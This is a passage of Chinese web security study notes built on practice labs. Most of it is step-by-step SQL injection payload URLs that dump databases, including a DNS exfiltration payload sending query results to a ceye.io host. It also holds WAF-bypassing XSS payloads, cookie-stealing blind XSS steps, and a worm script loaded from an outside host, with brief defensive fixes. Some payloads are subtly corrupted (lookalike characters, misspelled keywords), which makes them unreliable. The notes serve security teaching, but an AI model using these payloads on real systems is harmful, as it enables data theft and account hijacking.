前言:本章节将讲解各种 WEB 层面上的有那些漏洞类型,具体漏洞的危害等级,以简要的影响范围测试进行实例分析,思维导图中的漏洞也 是后面我们将要学习到的各个知识点,其中针对漏洞的形成原理,如何发 现,如何利用将是本章节学习的重点内容!
web 漏洞
- SQL注入
- 文件上传
- XSS跨站
- 文件包含
- 反序列化
- 代码执行
- 逻辑安全
- 未授权访问
- CSRF
- SSRF
- 目录遍历
- 文件读取
- 文件下载
- 命令执行
- XXE安全
- 其它补充
简要知识
CTF,SRC,红蓝对抗,实战等
- 简要说明以上漏洞危害情况
- 简要说明以上漏洞等级划分
- 简要说明以上漏洞重点内容
- 简要说明以上漏洞形势问题
案例演示
- SQL 注入漏洞-数据库操作危害
- 目录遍历漏洞-源码结构泄漏危害
- 文件读取漏洞-源码内容获取危害
- 文件上传漏洞-WEB 权限丢失危害
- 文件下载漏洞-补充演示拓展演示
涉及资源
https://github.com/zhuifengshaonianhanlu/pikachu
Web安全原理刨析
SQL 注入 又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需 要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是 WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的
上述思维导图说明
- SQL注入安全测试的危害
- SQL注入产生原理详细分析
- 可控变量,带入数据库查询,变量未存在过滤或者过滤不严格
- 将恶意SQL语句写入到SQL语句中,查询自己想要的数据.
www,baidu.com/index.php?id=8 www,baidu.com/?id=10 www,baidu.com/?id=10&x=1 www,baidu.com/index.php
这四个都是可能存在注入的URL
www.baidu.com/index.php?y=1 and 1=1&x=2 www.baidu.com/index.php?y=1&x=2 and 1=1 www.baidu.com/index.php?y=1 and 1=1 &x=1 and 1=1 www.baidu.com/index.php?xx=1 and 1=1&xxx=2 and 1=1
这四个正确答案是BC
注入判断
真 | and | 真 | 真 |
真 | and | 假 | 假 |
真 | or | 真 | 真 |
真 | or | 假 | 真 |
老方法判断注入:
- SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
- SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
- SELECT * FROM users WHERE id=1 正常
- 1=1 正常
- 1=2 错误
新方法判断注入:
- SELECT * FROM users WHERE id=1ewqewqe LIMIT 0,1
这里我是乱输入的,如果页面错误,则表明有注入,如果页面正确,那就是压根没有带入数据库,则表明没有注入点。
特殊情况:
如果出现404或者跳转错误,就表明有注入或者没有注入点.
必要知识点:
在Mysql的数据库中
判断注入:
判断注入点:
?id=1 order by 1,2,3,4 正常与错误的临界点
报错猜解准备:
?id=-1 union selecr 1,2,3,4
信息收集:
数据库版本:version()
数据库名称:database()
数据库用户:user()
操作系统:@@version_compile_os
墨者学院爆破
判断注入点:
http://124.70.64.48:44453/new_list.php?id=-1 union select 1,2,3,4
信息收集:
http://124.70.64.48:44453/new_list.php?id=-1%20union%20select%201,database(),version(),4 数据库版本:version() 5.7.22-0ubuntu0.16.04.1p 数据库名称:database() mozhe_Discuz_StormGroup 数据库用户:user() root@localhost 操作系统:@@version_compile_os
爆破表: (StormGroup_member notice)
http://124.70.64.48:44453/new_list.php?id=-1%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27mozhe_Discuz_StormGroup%27limit%200,1),3,4
爆破字段:(id,name,password, status )
http://124.70.64.48:44453/new_list.php?id=-1%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27mozhe_Discuz_StormGroup%27%20and%20table_name=%27StormGroup_member%27%20limit%200,1),3,4
爆破数据:
124.70.64.48:44453/new_list.php?id=-1 union select 1,(select id from 数据库名.数据库表名 limit 0,1),3,4
文件读写操作
- load_file():读取函数
- into_outfile或into_dumpfile:导出函数
路径获取常用方法:
- 报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
windows:
d:/wwwroot/
linux:
/var/www/
常见的load_file()读取的敏感信息
相关防注入
- 自带防御:魔术引导
- 内置函数: init等
- 自定义关键字:select
- WAF防护软件:安全狗,宝塔等
类型及提交注入
在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方 法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也必须满足同等的操作才能进行注入
简要明确参数类型
数字,字符,搜索,JSON等
简要明确请求方法
GET,POST,COOKIE,REQUEST,HTTP头等
其中SQL语句干扰符号:',"%),}等,具体看写法
参数字符型注入测试=>sqlilabs less 5 6
POST数据提交注入测试=>sqlilabs less 11
第一步:随便输入密码进行抓包
第二步:抓包发送到重发器进行注入测试
第三步:判断注入点
uname=-admin'order by 2--+&passwd=123455&submit=Submit
第四步:判断数据库版本和数据库名称
uname=-admin'union select database(),version()--+&passwd=123455&submit=Submit
接下来就是爆破表名,字段,数据就行......
参数JSON数据注入测试=>本地环境代码演示
COOKIE数据提交注入测试=>sqlilabs less 20
HTTP头部参数数据注入测试=>sqlilabs less 18
SQL注入之Oracle,MongoDB注入
数据库注入
- 1、明确注入数据库类型,权限
- 2、明确提交方法,参数类型等
- 3、明确数据库记录信息系统表
- 4、依次库,表,列,值注入查询
- 5、找后台,登录,获取shell(可能失败)
- 如果为高权限
- 文件读取,命令执行,注册表读取
SQL注入之DNS等注入
sqlilabs less 9(实际案例)
核心语句:?id=1' and load_file(concat("\\\\",database(),".xxxx.ceye.io\\xxxx.txt"))--+
第一步:登陆平台查看域名
第二步:输入固定语法,查看数据库版本,数据库名称
http://127.0.0.1/sqli-labs/Less-9/?id=1%27%20and%20load_file(concat(%22\\\\%22,version(),%22.2s8gw8.ceye.io\\xxxx.txt%22))--+
第三步:爆出数据库表
http://127.0.0.1/sqli-labs/Less-9/?id=1%27%20and%20load_file(concat(%22\\\\%22,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1)%20,%22.2s8gw8.ceye.io\\xxxx.txt%22))--+
第四步:爆数据库字段:
http://127.0.0.1/sqli-labs/Less-9/?id=1%27%20and%20load_file(concat(%22\\\\%22,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20limit%200,1)%20,%22.2s8gw8.ceye.io\\xxxx.txt%22))--+
接下来爆破数据就行.....
4.1 SQL注入基础
4.1.8 报错注入攻击
爆数据库名:
http://192.168.11.130/web/sql/error.php?username=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)%23
爆数据库表:
http://192.168.11.130/web/sql/error.php?username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)%23
爆数据库字段:
http://192.168.11.130/web/sql/error.php?username=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),0x7e),1)%23
爆数据:
http://192.168.11.130/web/sql/error.php?username=1' and updatexml(1,concat(0x7e,(select id from test.person limit 0,1),0x7e),1)%23
4.2 SQL进阶
4.2.1 时间注入攻击(时间盲注)
判断数据库长度:
http://192.168.11.130/web/sql/error.php?username=1' and if (lenght(database())>1,sleep(5),1)%23
爆数据库名称:
http://192.168.11.130/web/sql/time.php?id=1 and if(substr(database(),1,1)='t',sleep(5),1)%23
爆数据库表:
http://192.168.11.130/web/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='p',sleep(5),1)%23
爆数据库字段:
http://192.168.11.130/web/sql/time.php?id=1 and if(substr((select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),1,1)='i',sleep(5),1)%23
爆数据:
http://192.168.11.130/web/sql/time.php?id=1 and if(substr((select id from test.person limit 0,1),1,1)='1',sleep(5),1)%23
4.2.3 堆叠查询注入攻击
堆叠查询可以执行多条语句,多条语句可以用分号隔开,堆叠查询就是利用这一特点,在第二条语句中执行自己想要执行的语句,首先访问id=1‘,页面返回的MYSQL错误,再访问id=1’%23,页面返回的结果正常,这里就可以使用Boolean注入,时间注入,也可以使用另外一种注入-堆叠注入。
爆数据库名称:
http://192.168.11.130/web/sql/duidie.php?id=1;select if(substr(database(),1,1)='t',sleep(5),1)
爆数据库表:
http://192.168.11.130/web/sql/duidie.php?id=1;select if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='p',sleep(5),1)
爆数据库字段:
http://192.168.11.130/web/sql/duidie.php?id=1;select if(substr((select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),1,1)='i',sleep(5),1)
报数据:
http://192.168.11.130/web/sql/duidie.php?id=1;select if(substr((select id from test.person limit 0,1),1,1)='1',sleep(5),1)
4.2.5 二次注入攻击
首先判断是整型还是字符型:
http://192.168.11.130/web/sql/double1.php?username=1
第二个一面无显示
http://192.168.11.130/web/sql/double1.php?username=1'
第二个页面显示错误代码
http://192.168.11.130/web/sql/double1.php?username=1' and 1=1
第二个页面还是显示错误代码
http://192.168.11.130/web/sql/double1.php?username=1' and 1=2
由此判断为字符型
判断注入点:
http://192.168.11.130/web/sql/double1.php?username=1' order by 1%23
页面无显示
http://192.168.11.130/web/sql/double1.php?username=1' order by 2%23
页面无显示
http://192.168.11.130/web/sql/double1.php?username=1' order by 3%23
页面无显示
http://192.168.11.130/web/sql/double1.php?username=1' order by 4%23
页面显示错误,由此判断它有3个字段,有三个注入点
http://192.168.11.130/web/sql/double1.php?username=1' union select 1,2,3%23
第二个页面显示2:3为注入点
爆数据库和用户:
http://192.168.11.130/web/sql/double1.php?username=1' union select 1,database(),user()%23
爆数据库表:
http://192.168.11.130/web/sql/double1.php?username=1' union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),(select table_name from information_schema.tables where table_schema='test' limit 1,1)%23
爆数据库字段:
http://192.168.11.130/web/sql/double1.php?username=1' union select 1,(select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),3%23
爆数据:
http://192.168.11.130/web/sql/double1.php?username=1' union select 1,(select id from test.person limit 0,1),3%23
注意有二次注入会出现登录框注入,它会有登陆限制,分为前端限制和后端限制,要是前端限制的话,我们就在前端进行修改,要是后端限制的话就凉凉.
sqllilabs-less24-post登录框&二次注入(实际案例)
4.2.7 宽字节注入
原理分析:
addslashes()这个函数会将‘转义为\
gbk编码的时候%df和\ 的编码%5c合并为一个字符
从而’可以逃逸
判断是字符型还是整形:
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=1%23
1=1显示正确
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=2%23
1=2显示错误,存在注入点
判断字段:
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' order by 6%23
判断字段为6
判断注入点:
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=2 union select 1,2,3,4,5,6%23
判断出注入点为2和4
爆数据库名称:
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=2 union select 1,database(),3,user(),5,6%23
爆数据库表:
这里原本的table_schema='sql'变成了table_schema=(select database()),因为select database()的结果就是‘sql’,这里就是使用一个嵌套查询。
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3,4,5,6%23
爆数据库字段:(同爆数据库表一样,也是使用了嵌套语句)
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1),3,4,5,6%23
爆数据:
http://192.168.11.130/web/sql/kuanzifu.php?id=1�' and 1=2 union select 1,(select id from test.person limit 0,1),3,4,5,6%23
4.2.9 cookie注入攻击
发现url中没有GET参数,但是页面返回正常,使用抓包工具。抓到包之后,发送给重发器,添加cookie,然后在进行爆破
判断数据是数字型还是字符型:
id=1 返回正常
id=2 返回正常
id=1' 返回错误
id =1' and 1=1 返回错误
id=1 and 1=1 返回正常
id=1 and 1=2 返回错误
由此判断,它为数字型
判断字段:
id=1 order by 6 返回正常
id=1 order by 7 返回错误
判断注入点:
id=1 and 1=2 union select 1,2,3,4,5,6
爆数据库:
id=1 and 1=2 union select 1,(select database()),3,4,5,6
爆数据库表:
id=1 and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6
爆数据库字段:
id=1 and 1=2 union select 1,(select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),3,4,5,6
爆数据:
id=1 and 1=2 union select 1,(select id from test.person limit 0,1),3,4,5,6
4.2.11 base64注入攻击
判断是数字型还是字符型:
http://192.168.11.130/web/sql/base64.php?id=1 显示正确
http://192.168.11.130/web/sql/base64.php?id=2 显示正确
http://192.168.11.130/web/sql/base64.php?id=1' 显示错误
http://192.168.11.130/web/sql/base64.php?id=1 and 1=1 显示正确
http://192.168.11.130/web/sql/base64.php?id=1 and 1=2 显示错误
由此判断为数字类型
判断字段:
http://192.168.11.130/web/sql/base64.php?id=1 order by 6 返回正常
http://192.168.11.130/web/sql/base64.php?id=1 order by 7 返回错误
判断注入点:
http://192.168.11.130/web/sql/base64.php?id=1 union select 1,2,3,4,5,6
注入点为1,2,3
爆数据库:
http://192.168.11.130/web/sql/base64.php?id=1 union select 1,(select database()),3,4,5,6
爆数据库表:
http://192.168.11.130/web/sql/base64.php?id=1 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6
爆数据库字段:
http://192.168.11.130/web/sql/base64.php?id=1 union select 1,(select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),3,4,5,6
爆数据:
http://192.168.11.130/web/sql/base64.php?id=1 union select 1,(select id from test.person limit 0,1),3,4,5,6
这种攻击方式还有其他利用场景,例如,如果有WAF,则WAF会对传输中得ID进行检查,但由于传输中ID经过base64编码,所以此时WAF很有可能检测不到危险代码,进而绕过WAF检测。
sqlilabs-less21-cookie&加解密注入(实际案例)
4.2.13 XFF注入攻击
原理:通过抓包可以看到HTTP请求头中有一个头部参数X-forwarded-for ,简称为’xff‘,它代表客户真实得ip,通过修改X-forwarded-for的值可以伪造客户端ip,将X-forwarded-for设置为127.0.0.1,然后当访问该URL,页面返回正常。
进行抓包,发送给重发器,添加x-forwarded-for,添加ip进行查看
判断字符类型:
127.0.0.1 显示正确
127.0.0.1‘ 显示错误,但是回显中出现"127.0.0.1'"
由此判断为字符型
判断字段长度:
127.0.0.1' order by 6# 显示正常
127.0.0.1' order by 7# 显示错误
判断注入点:
127.0.0.1' and 1=2 union select 1,2,3,4,5,6#
爆数据库:
127.0.0.1' and 1=2 union select 1,(select database()),3,4,5,6#
爆数据库表:
127.0.0.1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6#
爆数据库表:
127.0.0.1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1),3,4,5,6#
爆数据库字段:
127.0.0.1' and 1=2 union select 1,(select column_name from information_schema.columns where table_schema='test' and table_name='person' limit 0,1),3,4,5,6#
爆数据:
127.0.0.1' and 1=2 union select 1,(select id from test.person limit 0,1),3,4,5,6#
4.3 SQL注入绕过技术
4.3.1 大小写绕过
通过抓包,可以看到,关键字被过滤,所以通过对关键字进行大小写绕过。
4.3.2 双写绕过注入
通过抓包看见and被过滤,就使用anandd进行双写绕过,后面还是通过抓包来看,那个字母被过滤了,就把那个字母进行双写。
4.3.3 编码绕过注入
通过抓包,可以看见and被拦截,但是服务器设定对URL进行了一次解码,所以这里我们就对他进行二次编码,看到返回的数据和id=1数据一样,这样就成功进行了绕过。
4.3.4 内敛注释绕过
通过sql特有的注释进行绕过。
4.4 XSS 基础
4.4.1 XSS漏洞介绍
跨站脚本,简称为XSS或跨站脚本或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻防技术,是代码注入的一种,它允许恶意用户将代码注入网页,其他用户在浏览网页时,就会收到影响,恶意用户利用XSS代码攻击成功后,可能得到很高的权限(如执行一些操作)私密网页内容,会话和cookie等各种内容。
XSS攻击可以分为三种:反射型,存储型和DOM型。
4.4.2 XSS漏洞原理
1. 反射型XSS
反射型XSS又称为非持久性XSS,这种攻击方式往往只具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户,当目标用户访问该链接时,服务器接收该目标的请求并作出处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2. 存储型XSS
存储型XSS又称 持久型XSS,攻击脚本会被永久存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击方式多见于论坛,博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入贴子的内容中。随着帖子被服务器永久的存储下来,恶意脚本也永久的被存放在服务器的后端存储器中,当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们浏览器中得到执行。
3. DOM型XSS
客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行,由于DOM是在客户端修改节点,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交的,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
不跟服务器通信,但是却能执行我们攻击的JS代码。
4.X-XSS-Protection交接
- 说白了就是浏览器安全的一个策略
- 简单一句话
- header("X-XSS-Protection:0") //告诉浏览器禁用XSS保护
- header("X-XSS-Protection:1") //告诉浏览器开启XSS保护
5.CRLF
- 说白了就是响应头注入
%0d%a
现在已经不能用了,最新版的php,已经不允许换行加请求头了。
6.修补XSS
- 过滤危险字符
- 转义
7.闭合XSS
通用XSS闭合
?id='"></textarea><script>alert(1)</script>
'"></textarea>
通用闭合代码,加这个秒杀90%
4.5 XSS进阶
4.5.1 XSS常用语句及编码绕过
XSS常用的测试语句有:
<script>alert(1)</script> <img ssrc=x οnerrοr="alert(1)"> <svg οnlοad=alert(1)> <a href=javascript:alert(1)>
常见的XSS的绕过编码有JS编码,HTML实体编码和URL编码
1 JS编码
大家在使用JS提交数据时,尤其是中文的时候,经常会需要将提交的字符串进行URL编码,然后在展示的时候,在进行解码。
在JS中对字符串进行我URL编码有好几种地方,例如:
encodeURL,encodeURLComponent,还有escape。下面我们来分别看看这几个函数。
var url = "http://www.abc.com?q=aa& amp;b=呵呵"; var encodedUrl = encodeURI(url); alert(encodedUrl); //输出: http://www.abc.com?q=aa&b=%E5%91%B5%E5%91%B5 encodedUrl = encodeURIComponent(url); alert(encodedUrl); //输出: http%3A%2F%2Fwww.abc.com%3Fq%3Daa%26b%3D%E5%91%B5%E5%91%B5 alert(escape(url)); //输出: http%3A//www.abc.com%3Fq%3Daa%26b%3D%u5475%u5475
4.5.2 XSS补充
常规攻击手法:平台,工具,结合其他等
cookie:存储本地,存活时间长,适合小中型网站
session:会话,存储服务器,存活时间较短,适合大型网站
用户凭证:通过凭证可以判断对方的身份信息
4.5.3 XSS跨站之订单及Shell箱子反杀记
- XSS平台及工具使用
- XSS经典案例测试
- Webshell后门中的后门
- Session与Cookie获取问题
docunent.cookie()
配合读取phpinfo等信息源码等
- 某营销订单系统 XSS 盲打_平台
第一步:打开XSS平台,复制盗取Cookie恶意代码
第二步:打开环境,填写订单信息,在相应位置填写恶意的xss代码
第三步:登陆后台,查看订单,出发恶意代码
第四步:登录XSS平台,查看获取的链接和Cookie
第五步:打开postman软件,登录请求和Cookie,验证
- 某Shell箱子系统XSS盲打_工具
根据经验,这些地方可能出现跨站脚本攻击,如:留言板,评论区,订单系统,反馈条件等
- 其他参考应用案例-后台权限维持
- 工具Http/s数据包提交POSTMAN使用
4.5.4 涉及资源
http://xss.fbisb.com/ https://github.com/tennc/webshell https://www.postman.com/downloads/ https://pan.baidu.com/s/1lIUZvEVXs1du-Bmkt7-abA 提取码:xiao https://pan.baidu.com/s/13H4N1VTBVwd3t8YWpECBFw 提取码: xiao
4.5.5 XSS跨站之代码及httponly绕过
4.5.6 XSS跨站之WAF绕过及安全修复
常规WAF绕过思路
- 标签语法替换
- 特殊符号干扰
- 提交方式更改
- 垃圾数据移除
- 加密解密算法
- 结合其他漏洞绕过
安全狗waf
被拦截
常见waf过滤标签
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>
绕过方法
可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤) 绕过方法有很多比如: 大小写绕过 javascript伪协议 没有分号 Flash HTML5 新标签 Fuzz进行测试 双层标签绕过
audio标签
<audio src=x οnerrοr=alert(47)> <audio src=x οnerrοr=prompt(1);> <audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>
video标签
<video src=x οnerrοr=prompt(1);> <video src=x οnerrοr=alert(48)>
div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行 <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
math标签
<math><a/xlink:href=javascript:prompt(1)>Xss <math href="javascript:javascript:alert(1)">Xss</math>
botton标签
<button οnfοcus=alert(1) autofocus> <button/οnclick=alert(1) >xss</button>
keygen标签
<keygen/οnfοcus=prompt(1);> <keygen οnfοcus=javascript:alert(1) autofocus>
object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg 解码:<script>alert(1)</script>
iframe标签
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME> <iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d"> <iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
xssfuzz在线工具
XSS Fuzzer
自动化工具说明:(kali进行安装)
XSStrike 主要特点反射和 DOM XSS 扫描 多线程爬虫 Context 分析 可配置的核心 检测和规避 WAF 老旧的 JS 库扫描 智能 payload 生成器 手工制作的 HTML & JavaScript 解析器 强大的 fuzzing 引擎 盲打 XSS 支持 高效的工作流 完整的 HTTP 支持 Bruteforce payloads 支持 Payload 编码
-h, --help //显示帮助信息 -u, --url //指定目标 URL --data //POST 方式提交内容 -v, --verbose //详细输出 -f, --file //加载自定义 paload 字典 -t, --threads //定义线程数 -l, --level //爬行深度 -t, --encode //定义 payload 编码方式 --json //将 POST 数据视为 JSON --path //测试 URL 路径组件 --seeds //从文件中测试、抓取 URL --fuzzer //测试过滤器和 Web 应用程序防火墙。 --update //更新 --timeout //设置超时时间 --params //指定参数 --crawl //爬行 --proxy //使用代理 --blind //盲测试 --skip //跳过确认提示 --skip-dom //跳过 DOM 扫描 --headers //提供 HTTP 标头 -d, --delay //设置延迟
安全修复方案
开启 httponly,输入过滤,输出过滤等 PHP:http://www.zuimoge.com/212.html JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html
案例演示:
- 手工探针 XSS 绕过 WAF 规则
- 自动化 XSS 绕过 WAF 测试演示
- Fuzz 下 XSS 绕过 WAF 测试演示
- 关于 XSS 跨站安全修复建议测试
涉及资源:
https://gitee.com/yhtmxl/imxss/ https://github.com/3xp10it/xwaf https://xssfuzzer.com/fuzzer.html https://github.com/s0md3v/XSStrike https://bbs.pediy.com/thread-250852.htm https://github.com/TheKingOfDuck/fuzzDicts
4.6.3 XSS蠕虫
4.6 csrf-xss蠕虫-ssrf-xxe
4.6.1 了解CSRF-CSRF攻击
CSRF (Cross-site request forgery) 跨站请求伪造,也称为"One Click Attack"或者Session Riding
危害:
- 依靠用户标识危害网站
- 利用网站对用户标识的信任
- 欺骗用户的浏览器发送HTTP请求给目标网站
- 另外可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击。
- 一个QQ空间存在存储XSS然后发送一个AJAX请求提交添加说说,说说的内容就是
<script src=http://src2.cc/1.js></script>
- JS内容:发送AJAX请求添加说说内容
- 蠕虫病毒的特点:一传十,十传百
pikachu上CSRF案例演示
第一步登录pikachu:
这里的手机号为红框显示,接下来进行抓包,拿CSRF POC到本地127.0.0.1上,拿到POC
然后在本地生成一个html文件。然后访问这个文件,点击提交
发现已经更改
查看token
第一次抓取的token
第二次抓取的token
很明显第一次和第二次的token不一样
HTTP referer字段验证
这里虽然说可以用http referer进行过滤,但是我们可以抓包,进行修改,一样可以绕过。
4.6.2 CSRF漏洞防御
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
4.6.4 xxe理解-xxe攻击-xxe修补
xxe的危害:
- 可以ssrf
- 读文件
- 执行命令
- 扫描端口
xxe修补漏洞:
- 方案一:使用开发语言提供的[禁用外部实体]
- PHP:libxml\_disable\_entity\_loader(true);//设置为true时禁止解析xml外部实体
- JAVA:DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- Python:from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve\_entities=False))
- 方案二:过滤用户提交的XML数据的关键字,<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC
- libxml2.9.1及以后,默认不解析外部实体
4.6.5 ssrf理解-利用-修补
原理:SSRF漏洞 - 再简单一点点 - 博客园
SSRF(Server-Side Request Forgery),服务器端请求伪造;利用一个可以发起网络请求的服务,可以当做跳板来攻击其他服务
SSRF漏洞原理:
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
SSRF漏洞利用手段:
1.可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
2.攻击运行在内网或本地的有漏洞程序(比如溢出);
3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
4.攻击内网或外网有漏洞的Web应用;
5.使用file:///协议读取本地文件(或其他协议)
SRF漏洞出现点:
1.分享:通过URL地址分享网页内容
2.转码服务(通过URL地址把原地址的网页内容调优,使其适合手机屏幕的浏览)
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现及调用URL的功能
7.从URL关键字中寻找
SSRF漏洞绕过方法:
1.@ http://abc.com@127.0.0.1
2.添加端口号 http://127.0.0.1:8080
3.短地址 https://0x9.me/cuGfD
4.可以指向任意ip的域名 xip.io
5.ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
6.非HTTP协议
7.DNS Rebinding
SSRF漏洞图片分享:
SSRF漏洞的修复建议:
1.限制请求的端口只能为web端口,只允许访问HTTP和HTTPS请求。
2.限制不能访问内网的IP,以防止对内网进行攻击。
3.屏蔽返回的详细信息。
4.6.6 Webshell
- Webshell 这个词,我初次接触是一脸懵。
- 拆开来看, web 是服务器开放的web服务,shell 是一个人机交互页面,能操控服务器并获取权限。
- 那么,Webshell 是通过服务器开放的端口获取服务器的(某种)权限。
- 简而言之,Webshell 获取网站服务器的权限(shell)。
- Shell文件有个变态的地方,可从服务器那边接收数据并执行、返回结果;也就是说我们只要把 shell 文件上传到目标服务器,就能操控服务器了。
- 对于网站管理员来说,shell 文件也可以用于 网站管理、服务器管理、数据库管理 等等。
WebShell工具